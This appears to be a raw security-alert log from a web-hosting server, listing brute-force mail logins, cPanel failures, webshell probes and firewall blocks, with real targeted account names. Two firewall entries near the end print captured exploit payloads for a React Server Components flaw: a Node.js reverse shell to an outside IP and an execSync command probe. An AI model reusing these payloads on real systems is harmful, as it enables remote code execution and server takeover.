2026-01-30 19:14:14 dovecot_login authenticator failed for H=(pkAd93) [178.16.54.138]:60338: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:14:33 dovecot_login authenticator failed for H=(jWe8HbIs) [178.16.54.138]:52487: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:15:06 1039110 [Warning] Aborted connection 1039110 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:15:10 dovecot_login authenticator failed for H=(jF0zS1WzyV) [178.16.54.138]:50515: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.89.13
country_id: 1835841
description:
2026-01-30 19:15:53 dovecot_plain authenticator failed for H=(B9MP3) [175.202.89.13]:49938: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:15:02 1039102 [Warning] Aborted connection 1039102 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:15:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.96
country_id: 3469034
description:
2026-01-30 19:15:46 dovecot_login authenticator failed for H=(96.196.181.45.datasysteminfor.com.br) [45.181.196.96]:43887: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:15:06 dovecot_login authenticator failed for H=(gkY1aF04) [185.230.124.69]:55021: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 19:15:42 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:50068: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:16:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.151.240.91
country_id: 1522867
description:
2026-01-30 19:16:15 dovecot_login authenticator failed for H=37.151.240.91.dynamic.telecom.kz [37.151.240.91]:47873: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.100.3
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/run/17/32/1730986 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:16:05 dovecot_login authenticator failed for H=(Dl79Ac) [178.16.54.138]:52860: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:16:16 dovecot_login authenticator failed for H=(RCrhD4BC) [185.230.124.69]:50355: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.249.191.163
country_id: 1814991
description:
2026-01-30 19:16:44 dovecot_login authenticator failed for H=([118.250.182.141]) [118.249.191.163]:51074: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.89.13
country_id: 1835841
description:
2026-01-30 19:16:00 dovecot_login authenticator failed for H=(B9MP3) [175.202.89.13]:49938: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:17:44 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:46678: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:17:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:17:07 dovecot_login authenticator failed for H=(R8dy4qs67) [185.230.124.69]:57304: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-01-30 19:17:31 dovecot_login authenticator failed for H=([50.217.40.11]) [50.217.40.11]:52338: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:17:47 H=([45.144.212.50]) [45.144.212.50]:50240 F=<zuleyha@savalanshipping.com> rejected RCPT <astkch@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:17:33 dovecot_login authenticator failed for H=(mWAmQZphf) [178.16.54.138]:55532: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.88.247.5
country_id: 6252001
domain: mssa.org.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.224 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:18:07 dovecot_login authenticator failed for H=(o9JOf7MQv) [178.16.54.138]:63250: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:18:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:18:42 dovecot_login authenticator failed for H=(pkW4pXwjQQ) [178.16.54.138]:54766: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:18:20 dovecot_login authenticator failed for H=(lwXjqQ) [185.230.124.69]:63343: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 19:18:39 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:40616: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:19:17 dovecot_login authenticator failed for H=(3csEgX) [178.16.54.138]:58691: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:19:03 dovecot_login authenticator failed for H=(wPv5bPL) [185.230.124.69]:57821: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-01-30 19:20:36 dovecot_login authenticator failed for H=([20.46.45.121]) [20.46.45.121]:49435: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 19:20:45 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:49354: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:20:08 dovecot_login authenticator failed for H=(M8cAv2ryn2) [178.16.54.138]:59384: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 19:20:08 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:38708: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:20:18 dovecot_login authenticator failed for H=(gDlmw1B) [185.230.124.69]:58055: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-01-30 19:20:18 dovecot_login authenticator failed for H=([125.18.43.161]) [128.185.209.30]:47464: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.196.42.114
country_id: 2077456
description:
2026-01-30 19:21:16 dovecot_login authenticator failed for H=(203-196-42-114.static.dsl.net.au) [203.196.42.114]:47204: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 19:21:28 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:33873: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:21:05 dovecot_login authenticator failed for H=(qWCY6UV) [185.230.124.69]:55783: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:21:14 dovecot_login authenticator failed for H=(s5NpE14k) [178.16.54.138]:55190: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-01-30 19:22:19 +0800] info [cpaneld] 103.210.132.14 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 19:22:38 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:39190: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:22:18 dovecot_login authenticator failed for H=(WrC1vMafq7) [185.230.124.69]:50588: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:22:01 dovecot_login authenticator failed for H=(o1RzZB) [178.16.54.138]:63506: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:22:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:23:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:23:08 dovecot_login authenticator failed for H=(qQ15OJv0MA) [178.16.54.138]:62883: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:23:01 dovecot_login authenticator failed for H=(CJqN7u) [185.230.124.69]:59053: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 19:23:05 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:28062: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/r+e.gex[c]a(r)s/dir/bar.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:23:44 dovecot_login authenticator failed for H=(RM55Q9jlF) [178.16.54.138]:64134: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:24:18 dovecot_login authenticator failed for H=(dhjT5FZ1S0) [178.16.54.138]:58042: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.211
country_id: 1814991
domain: symphony-led.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 19:24:47 dovecot_login authenticator failed for H=([221.145.5.14]) [221.145.5.14]:43441: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:24:09 dovecot_login authenticator failed for H=(j7IWeLj6O8) [185.230.124.69]:57856: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 19:24:14 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:39408: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:25:04 dovecot_login authenticator failed for H=(B0qcYZs) [178.16.54.138]:61069: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-01-30 19:25:06 dovecot_login authenticator failed for H=([51.162.194.94]) [51.162.194.94]:44930: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:25:19 dovecot_login authenticator failed for H=(Zeedl12) [185.230.124.69]:54056: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-01-30 19:27:00 dovecot_login authenticator failed for H=([128.185.253.122]) [128.185.253.122]:47386: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.202.113.224
country_id: 1694008
domain: myfurnitureshop.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93620.myfurnitureshop.com.my||ServerName:myfurnitureshop.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6c9a2c3ee4db88026a5c0ec08678b46a25dc1219||Title:0xd5fe5bea||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:26:22 dovecot_login authenticator failed for H=(ostCaU) [185.230.124.69]:60697: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.196.29.182
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.30.170
country_id: 3144096
description:
2026-01-30 19:26:13 dovecot_login authenticator failed for H=(cm-178.232.30.170.get.no) [178.232.30.170]:56160: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:26:11 dovecot_login authenticator failed for H=(VRosmr) [178.16.54.138]:59636: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 185.23.117.167
country_id: 2510769
domain: ahfengineering.com
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:27:46 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:27:06 dovecot_login authenticator failed for H=(6bj1OW) [185.230.124.69]:50862: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:27:12 dovecot_login authenticator failed for H=(DIcpah1) [178.16.54.138]:49587: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:28:00 dovecot_login authenticator failed for H=(DmpxNJ) [178.16.54.138]:56097: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-01-30 19:28:41 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:47096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.198.128.124
country_id: 1835841
description:
2026-01-30 19:28:51 dovecot_login authenticator failed for H=([211.198.128.124]) [211.198.128.124]:60810: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:28:11 dovecot_login authenticator failed for H=(dykZukJ) [185.230.124.69]:51531: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:28:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:28:22 H=([45.144.212.50]) [45.144.212.50]:63428 F=<zuleyha@savalanshipping.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:28:38 dovecot_login authenticator failed for H=(jtiYzkndV) [178.16.54.138]:59953: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-01-30 19:28:45 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:61253: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.178
country_id: 1269750
description:
2026-01-30 19:28:55 dovecot_login authenticator failed for H=([182.95.222.178]) [182.95.222.178]:39258: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/B/C/abc.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-30 19:28:03 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:36997: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:29:21 dovecot_login authenticator failed for H=(XHZBtEQ5P) [185.230.124.69]:56068: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:29:04 dovecot_login authenticator failed for H=(r7mqy23PkR) [178.16.54.138]:60250: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:29:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77093094
abuser: 193.142.147.209
country_id: 2921044
domain: 42.0.28.70:80
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:30:07 dovecot_login authenticator failed for H=(fvyRoK6tO) [185.230.124.69]:64858: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77093094
abuser: 51.195.100.96
country_id: 2921044
domain: masaakisb.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\n  \"then\": \"$1:__proto__:then\",\n  \"status\": \"resolved_model\",\n  \"reason\": -1,\n  \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\n  \"_response\": {\n    \"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271))',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\",\n    \"_chunks\": \"$Q2\",\n    \"_formData\": {\n      \"get\": \"$1:constructor:constructor\"\n    }\n  }\n}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:30:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:30:09 dovecot_login authenticator failed for H=(JGyI5oDAZb) [178.16.54.138]:51136: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:31:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 19:31:37 +0800] info [cpaneld] 165.22.212.32 - nexuscol "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nexuscol (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.109
country_id: 2186224
description:
2026-01-30 19:31:38 dovecot_login authenticator failed for H=([121.73.169.109]) [121.73.169.109]:43852: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.214.160.4
country_id: 2017370
description:
2026-01-30 19:31:56 dovecot_login authenticator failed for H=(pool.luganet.ru) [178.214.160.4]:52694: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:31:07 dovecot_login authenticator failed for H=(01t6EdUS) [178.16.54.138]:62750: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:31:11 dovecot_login authenticator failed for H=(8OJBbDrVu) [185.230.124.69]:52030: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:31:17 H=([45.144.212.50]) [45.144.212.50]:53124 F=<waikeong.poon@seatrium.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from seatrium.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.142.106.177
country_id: 298795
description:
2026-01-30 19:31:27 dovecot_login authenticator failed for H=([188.132.210.145]) [195.142.106.177]:12156: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-30 19:33:01 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:19392: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:32:19 dovecot_login authenticator failed for H=(49fLTFZ5c) [178.16.54.138]:53353: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
